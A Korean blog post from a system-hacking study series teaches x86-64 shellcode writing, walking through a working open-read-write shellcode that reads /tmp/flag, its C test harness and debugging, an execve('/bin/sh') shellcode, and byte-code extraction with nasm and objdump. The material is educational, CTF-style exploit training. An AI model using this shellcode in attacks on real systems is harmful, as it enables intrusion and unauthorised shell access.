[시스템 해킹] 💥 Exploit tech : Shellcode

zzoni·2022년 7월 20일
0

시스템해킹

목록 보기
4/15
post-thumbnail

익스플로잇(exploit) : 해킹 분야에서 상대 시스템을 공격하는 것



◼ 셸코드 개념

셸코드(Shellcode)란?

익스플로잇을 위해 제작된 어셈블리 코드 조각

만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다.

셸코드는 어셈블리어로 구성되므로 공격 대상의 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.

아키텍처별 셸코드 공유 사이트




◼ orw 셸코드

open-read-write

❓ 예제 : /tmp/flag를 읽는 셸코드 작성

  • orw 셸코드 작성을 위해 알아야 할 syscall

  • 구현하려는 셸코드의 의사코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); //fd로 부터 0x30 byte만큼 데이터를 읽어 buf에 저장해라.
write(1, buf, 0x30); //buf의 데이터를 0x30 byte만큼 fd에 써라. (여기서 fd는 1(stdout)이므로 파일에 작성되는 것이 아닌 화면에 출력이 됨.)



💡 fd (File Descripter란?)

유닉스 계열의 운영체제에서 파일에 접근하기 위해 사용되는 가상의 접근 제어자
프로세스마다 고유의 descripter table을 갖고 있으며, 그 안에 여러 fd를 저장



👉 의사코드의 각 줄을 어셈블리로

1. int fd = open("/tmp/flag", RD_ONLY, NULL);

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
open0x02const char *file nameint flagsumode_t mode
  1. "/tmp/flag"라는 문자열을 메모리에 적재
    -> 스택에 0x616c662f706d742f67(/tmp/flag) push
    push 0x67
    mov rax, 0x616c662f706d742f
    push rax

  2. rdi가 이를 가리키도록 rdi를 rsp로!
    mov rdi, rsp -> rdi = "/tmp/flag"

  3. O_RDONLY는 0이므로 rsi = 0
    xor rsi, rsi

  4. mode 의미 x -> rdx = 0
    xor rdx, rdx

  5. rax는 open의 syscall 값으로
    mov rax, 2

  6. syscall
    syscall


결과

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

2. read(fd, buf, 0x30);

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
read0x00unsigned int fdchar *bufsize_t count
  • syscall의 반환 값은 rax로 저장된다.
    -> open으로 획득한 /tmp/flag의 fd
    rax에 저장된다.
  1. read의 첫 번째 인자 = 반환받은 fd 값
    mov rdi, rax rdi = fd

  2. rsi = 파일에서 읽은 데이터를 저장할 주소
    0x30만큼 읽을 것이므로 rsi에 rsp-0x30대입
    mov rsi, rsp
    sub rsi, 0x30

  3. rdx = 읽어낼 데이터의 길이
    mov rdx, 0x30

  4. rax = read의 syscall 값
    mov rax, 0x0

  5. syscall
    syscall


결과

mov rdi, rax    
mov rsi, rsp
sub rsi, 0x30    
mov rdx, 0x30     
mov rax, 0x0      
syscall           

3. write(1, buf, 0x30);

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
write0x01unsigned int fdconst char *bufsize_t count
  1. rdi = 1
    mov rdi, 1

  2. rsi와 rdx는 앞서 read에서 사용한 값과 동일하므로 재사용

  3. rax = write의 syscall 값
    mov rax, 0x1

  4. syscall
    syscall


결과

mov rdi, 1
mov rax, 0x1
syscall           

최종코드

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)


◼ orw 셸코드 컴파일 및 실행

앞에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행될 수 없음!
👉 gcc 컴파일을 통해 ELF형식으로 변형!

◼ 컴파일

셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방식 사용 (외에도 방법은 여러가지)

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }




◼ 실행

  • 셸코드 작동 확인을 위해 /tmp/flag 파일 생성
    echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
    • 💥 ! : event not found 오류 해결
      set +H 입력 후 다시 입력
    • echo "문자열" > 파일
      : 파일이 존재한다면 파일의 내용을 모두 제거하고, 전달된 문자열만 저장되도록 한다.
      존재하지 않는다면 생성 후 문자열 저장

  • orw.c 컴파일 & 실행
    gcc -o orw orw.c -masm=intel
    ./orw


  • 결과
    flag{this_is_open_read_write_shellcode!}
    &��U
    -> 앞서 입력한 문자열 외의 문자도 출력됨

◼ orw 셸코드 디버깅

run_sh 에 중단점 걸고, read syscall 사용 직후까지 가봅시다...
그러면 rsi가 가리키는 주소에 값이 저장되어 있어요...
그 주소를 x/s로 확인해보면
"flag{this_is_open_read_write_shellcode!}\n\006@UUU"
앞에서 저장한 문자열 뿐만 아니고, 쓰레기 값이 함께 저장된 것을 확인 할 수 있음...!

스택 프레임을 정리할 때 사용한 영역을 0으로 초기화하는 것이 아니라 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시킨다.
-> 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 됨...




◼ execve 셸코드

셸(Shell)이란?
운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스

  • 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공이라 여김.
  • 최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있음.
    • Ubuntu 18.04에는 /bin/sh 존재

◼ execve 셸코드 작성

syscallraxarg0(rdi)arg1(rsi)arg2(rdx)
execve0x3bconst char *filenameconst char *const *argvconst char *const *envp

argv : 실행파일에 넘겨줄 인자,
envp : 환경변수

  • 리눅스에서는 기본 실행 프로그램들이 /bin/ dir에 저장되어 있음.

❓ 예제 : execve 셸 코드 작성

execve("/bin/sh",null,null) 을 실행하기 위한 셸코드 작성

  1. "/bin/sh" 라는 문자열을 메모리에 적재
    -> 스택에 0x68732f6e69622f push
    mov rax, 0x68732f6e69622f
    push rax
  1. rdi = "/bin/sh"
    "/bin/sh"는 방금 스택에 push한 데이터니까
    mov rdi, rsp
  2. rsi = null, rdx = null
    xor rsi, rsi
    xor rdx, rdx
  3. execve의 syscall 값은 0x3b
    mov rax, 0x3b
  4. syscall
    syscall

◼ execve 셸코드 컴파일 및 실행

orw 예제에서와 마찬가지로 c 코드 작성 후 컴파일 & 실행


◼ objdump를 이용한 shellcode 추출

작성한 셸코드를 byte code로 추출하는 방법!
1. assembly 코드를 파일로 저장
2. nasm 설치

  • nasm(Netwide assembler) : x86 아키텍처용 어셈블러
  1. nasm out format : elf로 지정
  2. objdump 의 -d 옵션을 활용해 역어셈블 수행
  3. objcopy --dump-section
    : 특정 섹션을 추출하여 파일로 생성해줌
  4. xxd [file]
    file을 16진수로 보여줌
profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글